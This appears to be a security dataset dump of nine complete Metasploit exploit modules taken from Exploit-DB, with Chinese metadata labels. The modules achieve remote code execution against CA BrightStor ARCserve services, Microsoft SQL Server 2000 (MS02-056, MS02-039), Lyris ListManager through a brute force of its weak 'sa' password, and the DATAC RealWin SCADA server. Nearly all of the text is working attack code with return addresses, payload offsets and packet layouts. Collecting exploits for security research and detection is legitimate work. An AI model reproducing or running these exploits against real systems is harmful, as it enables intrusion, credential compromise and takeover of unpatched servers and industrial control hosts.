QLWD/code_shield huggingface dataset:
标题: CA BrightStor ARCserve - Tape Engine Buffer Overflow (Metasploit) EDB-ID: 16407 CVE: 2006-6076 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: tape_engine.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::DCERPC
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CA BrightStor ARCserve Tape Engine Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
    r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow
    the buffer and execute arbitrary code.
   },
   'Author'         => [ 'MC', 'patrick' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2006-6076' ],
     [ 'OSVDB', '30637' ],
     [ 'BID', '21221' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/3086' ],
     [ 'URL', 'http://www.ca.com/us/securityadvisor/newsinfo/collateral.aspx?cid=101317' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
     'StackAdjustment' => -9500,
    },
   'Platform' => 'win',
   'Targets'  =>
     [
      [ 'BrightStor ARCserve r11.1', { 'Ret' => 0x2380cdc7, 'Offset' => 1158 } ], #p/p/r cheyprod.dll 07/21/2004
      [ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5, 'Offset' => 1132 } ], #p/p/r cheyprod.dll ??/??/????
     ],
   'DisclosureDate' => 'Nov 21 2006',
   'DefaultTarget'  => 1))

  register_options([ Opt::RPORT(6502) ], self.class)
 end

 def exploit
  connect

  handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
  print_status("Binding to #{handle} ...")

  dcerpc_bind(handle)
  print_status("Bound to #{handle} ...")

  request =  "\x00\x04\x08\x0c\x02\x00\x00\x00\x00\x00"
  request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

  dcerpc.call(43, request)

  filler = "\x10\x09\xf9\x77" + rand_text_english(target['Offset'])
  seh    = generate_seh_payload(target.ret)
  sploit = filler + seh

  print_status("Trying target #{target.name}...")

   begin
    dcerpc_call(38, sploit)
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
   end

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16407
标题: CA BrightStor - HSM Buffer Overflow (Metasploit) EDB-ID: 16402 CVE: 2007-5082 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: hsmserver.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CA BrightStor HSM Buffer Overflow',
   'Description'    => %q{
     This module exploits one of the multiple stack buffer overflows in Computer Associates BrightStor HSM.
    By sending a specially crafted request, an attacker could overflow the buffer and execute arbitrary code.
   },
   'Author'         => [ 'toto' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2007-5082' ],
     [ 'OSVDB', '41363' ],
     [ 'BID', '25823' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 1026,
     'BadChars' => "\x00\x0a\x0d;",
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets'  =>
    [
     # NX can be bypassed by bruteforcing ntdll addresses as the process is restarted
     # pop/pop/ret in fpparser.dll (old from 2004)
     [ 'BrightStor HSM 11.5 Windows All', { 'Ret' => 0x12014c78 } ],
    ],
   'DisclosureDate' => 'Sep 27 2007',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(2000)
   ], self.class)
 end

 def exploit
  connect

  data =
   [42,7,0,0].pack('VVVV') +
   payload.encoded +
   "\xeb\x06" +
   Rex::Text.rand_text_alphanumeric(2) +
   [ target.ret ].pack('V') +
   "\xe9\xf1\xfb\xff\xff" +
   Rex::Text.rand_text_alphanumeric(0x100)

  sploit = [data.length + 4].pack('V') + data

  print_status("Trying target #{target.name}...")

  sock.put(sploit)
  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16402
标题: CA BrightStor ARCserve for Laptops & Desktops LGServer - Remote Buffer Overflow (Metasploit) (1) EDB-ID: 16400 CVE: 2007-0449 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: lgserver.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
    for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could
    overflow the buffer and execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2007-0449' ],
     [ 'OSVDB', '31593' ],
     [ 'BID', '22342' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 600,
     'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets'  =>
    [
     [ 'Windows 2000 Pro English All',  { 'Ret' => 0x75022ac4 } ],
    ],
   'DisclosureDate' => 'Jan 31 2007',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(1900)
   ], self.class)
 end

 def exploit
  connect

  filler = "0000016705" + rand_text_english(2322)
  seh    = generate_seh_payload(target.ret)
  sploit = filler + seh + "\x58" * 0x4141

  print_status("Trying target #{target.name}...")

  sock.put(sploit)
  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16400
标题: CA BrightStor Discovery Service - Remote Stack Buffer Overflow (Metasploit) EDB-ID: 16406 CVE: 2005-0260 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: discovery_udp.rb 9263 2010-05-09 17:52:51Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CA BrightStor Discovery Service Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a vulnerability in the CA BrightStor
    Discovery Service. This vulnerability occurs when a large
    request is sent to UDP port 41524, triggering a stack buffer
    overflow.
   },
   'Author'         => [ 'hdm', 'patrick' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9263 $',
   'References'     =>
    [
     [ 'CVE', '2005-0260'],
     [ 'OSVDB', '13613'],
     [ 'BID', '12491'],
     [ 'URL', 'http://www.idefense.com/application/poi/display?id=194&type=vulnerabilities'],
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 2048,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
    },
   'Targets'        =>
    [
     [
      'cheyprod.dll 12/12/2003',
      {
       'Platform' => 'win',
       'Ret'      => 0x23808eb0, # call to edi reg
       'Offset'   => 968,
      },
     ],
     [
      'cheyprod.dll 07/21/2004',
      {
       'Platform' => 'win',
       'Ret'      => 0x2380a908, # call edi
       'Offset'   => 970,
      },
     ],
    ],
   'DisclosureDate' => 'Dec 20 2004',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(41524)
   ], self.class)
 end

 def check

  # The first request should have no reply
  csock = Rex::Socket::Tcp.create(
   'PeerHost'  => datastore['RHOST'],
   'PeerPort'  => 41523,
   'Context'   =>
    {
     'Msf'        => framework,
     'MsfExploit' => self,
    })

  csock.put('META')
  x = csock.get_once(-1, 3)
  csock.close

  # The second request should be replied with the host name
  csock = Rex::Socket::Tcp.create(
   'PeerHost'  => datastore['RHOST'],
   'PeerPort'  => 41523,
   'Context'   =>
    {
     'Msf'        => framework,
     'MsfExploit' => self,
    })

  csock.put('hMETA')
  y = csock.get_once(-1, 3)
  csock.close

  if (y and not x)
   return Exploit::CheckCode::Detected
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect_udp

  print_status("Trying target #{target.name}...")

  buf = rand_text_english(4096)

  # Target 0:
  #
  # esp @ 971
  # ret @ 968
  # edi @ 1046
  # end = 4092

  buf[target['Offset'], 4] = [ target.ret ].pack('V')
  buf[1046, payload.encoded.length] = payload.encoded

  udp_sock.put(buf)
  udp_sock.recvfrom(8192)

  handler
  disconnect_udp
 end

end URL: https://www.exploit-db.com/exploits/16406
标题: Microsoft SQL Server - Hello Overflow (MS02-056) (Metasploit) EDB-ID: 16398 CVE: 2002-1123 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: ms02_056_hello.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::MSSQL

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft SQL Server Hello Overflow',
   'Description'    => %q{
     By sending malformed data to TCP port 1433, an
    unauthenticated remote attacker could overflow a buffer and
    possibly execute code on the server with SYSTEM level
    privileges. This module should work against any vulnerable
    SQL Server 2000 or MSDE install (< SP3).

   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2002-1123'],
     [ 'OSVDB', '10132'],
     [ 'BID', '5411'],
     [ 'MSB', 'MS02-056'],

    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 512,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
    },
   'Targets'        =>
    [
     [
      'MSSQL 2000 / MSDE <= SP2',
      {
       'Platform' => 'win',
       'Rets'     => [0x42b68aba, 0x42d01e50],
      },
     ],
    ],
   'Platform'       => 'win',
   'DisclosureDate' => 'Aug 5 2002',
   'DefaultTarget' => 0))
 end

 def check
  info = mssql_ping
  if (info['ServerName'])
   print_status("SQL Server Information:")
   info.each_pair { |k,v|
    print_status("   #{k + (" " * (15-k.length))} = #{v}")
   }
   return Exploit::CheckCode::Detected
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect
  buf = "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b" +
   "\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x02" +
   "\x10\x00\x00\x00" +
   rand_text_english(528, payload_badchars) +
   "\x1B\xA5\xEE\x34" +
   rand_text_english(4, payload_badchars) +
   [ target['Rets'][0] ].pack('V') +
   [ target['Rets'][1], target['Rets'][1] ].pack('VV') +
   '3333' +
   [ target['Rets'][1], target['Rets'][1] ].pack('VV') +
   rand_text_english(88, payload_badchars) +
   payload.encoded +
   "\x00\x24\x01\x00\x00"

  sock.put(buf)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16398
标题: Lyris ListManager - MSDE Weak sa Password (Metasploit) EDB-ID: 16397 CVE: 2005-4145 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: lyris_listmanager_weak_pass.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::MSSQL
 include Msf::Exploit::EXE

 def initialize(info = {})

  super(update_info(info,
   'Name'           => 'Lyris ListManager MSDE Weak sa Password',
   'Description'    => %q{
     This module exploits a weak password vulnerability in the
    Lyris ListManager MSDE install. During installation, the 'sa'
    account password is set to 'lminstall'. Once the install
    completes, it is set to 'lyris' followed by the process
    ID of the installer. This module brute forces all possible
    process IDs that would be used by the installer.
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     [ 'CVE', '2005-4145'],
     [ 'OSVDB', '21559'],
    ],
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', { } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Dec 08 2005'
   ))
 end

 # Do not automatically run this module, it can lead to lockouts with SQL Server 2005
 def autofilter
  false
 end

 def exploit

  # New installations use a randomly generated suffix like "lyris629dAe536F"
  pass = nil

  while(true)
   print_status("Trying to authenticate with password 'lminstall'...")
   if(mssql_login('sa', 'lminstall'))
    pass = 'lminstall'
    break
   end

   print_status("Trying to authenticate with passwords 'lyris1' to 'lyris65535'...")
   1.upto(65535) do |pid|

    if(pid % 1000 == 0)
     print_status(" >> Completed #{pid} of 65535 authentication requests")
    end

    if(mssql_login('sa', "lyris#{pid}"))
     pass = "lyris#{pid}"
     break
    end
   end
   print_status("This system does not appear to be exploitable")
   return
  end

  print_status("")
  print_status("Sucessfully authenticated to #{rhost}:#{rport} with user 'sa' and password '#{pass}'")
  print_status("")

  exe = generate_payload_exe
  mssql_upload_exec(exe)

  handler
  disconnect
 end
end URL: https://www.exploit-db.com/exploits/16397
标题: CA BrightStor ARCserve - Message Engine Heap Overflow (Metasploit) EDB-ID: 16401 CVE: 2006-5143 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: message_engine_heap.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::DCERPC

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CA BrightStor ARCserve Message Engine Heap Overflow',
   'Description'    => %q{
     This module exploits a heap overflow in Computer Associates BrightStor ARCserve Backup
    11.5. By sending a specially crafted RPC request, an attacker could overflow the
    buffer and execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2006-5143' ],
     [ 'OSVDB', '29533' ],
     [ 'BID', '20365' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 800,
     'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets'  =>
    [
     ['Windows 2000 SP4 English',   { 'Ret' => 0x7c2f6cc8, 'UEF' => 0x7c54144c } ],
    ],
   'DisclosureDate' => 'Oct 05 2006',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(6503)
   ], self.class)
 end

 def exploit
  connect

  handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
  print_status("Binding to #{handle} ...")

  dcerpc_bind(handle)
  print_status("Bound to #{handle} ...")

  # straight forward heap stuffz
  sploit =  make_nops(680) + "\xeb\x0a" + make_nops(2) + [ target.ret ].pack('V')
  sploit << [ target['UEF'] ].pack('V') + payload.encoded

  print_status("Trying target #{target.name}...")

   begin
    dcerpc_call(43, sploit)
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
   end

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16401
标题: Microsoft SQL Server - Resolution Overflow (MS02-039) (Metasploit) EDB-ID: 16393 CVE: 2002-0649 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: ms02_039_slammer.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::MSSQL

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft SQL Server Resolution Overflow',
   'Description'    => %q{
     This is an exploit for the SQL Server 2000 resolution
    service buffer overflow. This overflow is triggered by
    sending a udp packet to port 1434 which starts with 0x04 and
    is followed by long string terminating with a colon and a
    number. This module should work against any vulnerable SQL
    Server 2000 or MSDE install (pre-SP3).

   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2002-0649'],
     [ 'OSVDB', '4578'],
     [ 'BID', '5310'],
     [ 'MSB', 'MS02-039'],

    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 512,
     'BadChars' => "\x00\x3a\x0a\x0d\x2f\x5c",
     'StackAdjustment' => -3500,
    },
   'Targets'        =>
    [
     [
      'MSSQL 2000 / MSDE <= SP2',
      {
       'Platform' => 'win',
       'Ret'      => 0x42b48774,
      },
     ],
    ],
   'Platform'       => 'win',
   'DisclosureDate' => 'Jul 24 2002',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(1434)
   ], self.class)
 end


 def check
  info = mssql_ping
  if (info['ServerName'])
   print_status("SQL Server Information:")
   info.each_pair { |k,v|
    print_status("   #{k + (" " * (15-k.length))} = #{v}")
   }
   return Exploit::CheckCode::Detected
  end
  return Exploit::CheckCode::Safe
 end

 def exploit

  connect_udp
  print_status(sprintf("Sending UDP packet with return address 0x%.8x", target.ret))
  print_status("Execute 'net start sqlserveragent' once access is obtained");

  # \x68:888 => push dword 0x3838383a
  buf = "\x04" + rand_text_english(800, payload_badchars) + "\x68:888"

  # Return to the stack pointer
  buf[ 97, 4] = [target.ret].pack('V')

  # Which lands right here
  buf[101, 6] = make_nops(6)

  # Jumps 8 bytes ahead
  buf[107, 2] = "\xeb\x08"

  # Write to thread storage space to avoid a crash
  buf[109, 8] = [0x7ffde0cc, 0x7ffde0cc].pack('VV')

  # And finally into the payload
  buf[117,payload.encoded.length] = payload.encoded

  udp_sock.put(buf)

  disconnect_udp
  handler
 end

end URL: https://www.exploit-db.com/exploits/16393
标题: DATAC RealWin SCADA Server 2.0 (Build 6.1.8.10) - SCPC_TXTEVENT Buffer Overflow (Metasploit) EDB-ID: 16384 CVE: 2010-4142 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-24 漏洞利用脚本: ##
# $Id: realwin_scpc_txtevent.rb 11125 2010-11-24 13:44:46Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'DATAC RealWin SCADA Server SCPC_TXTEVENT Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in DATAC Control
    International RealWin SCADA Server 2.0 (Build 6.1.8.10).
    By sending a specially crafted packet,
    an attacker may be able to execute arbitrary code.
   },
   'Author'         => [ 'Luigi Auriemma', 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11125 $',
   'References'     =>
    [
     [ 'CVE', '2010-4142'],
     [ 'OSVDB', '68812'],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 550,
     'BadChars' => "\x00\x20\x0a\x0d",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Universal', { 'Pivot' => 0x40017fc2, 'Ret' => 0x4001f6d0 } ],
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Nov 18 2010'))

  register_options([Opt::RPORT(912)], self.class)
 end

 def exploit

  connect

  data =  [0x6a541264].pack('V')
  data << [0x00000010].pack('V')
  data << [0x00001ff4].pack('V')
  data << rand_text_alpha_upper(164)
  data << [target['Pivot']].pack('V')
  data << rand_text_alpha_upper(16)
  data << [target.ret].pack('V')
  data << payload.encoded
  data << rand_text_alpha_upper(10024 - payload.encoded.length)

  print_status("Trying target #{target.name}...")
  sock.put(data)

  handler
  disconnect

 end

end URL: https://www.exploit-db.com/exploits/16384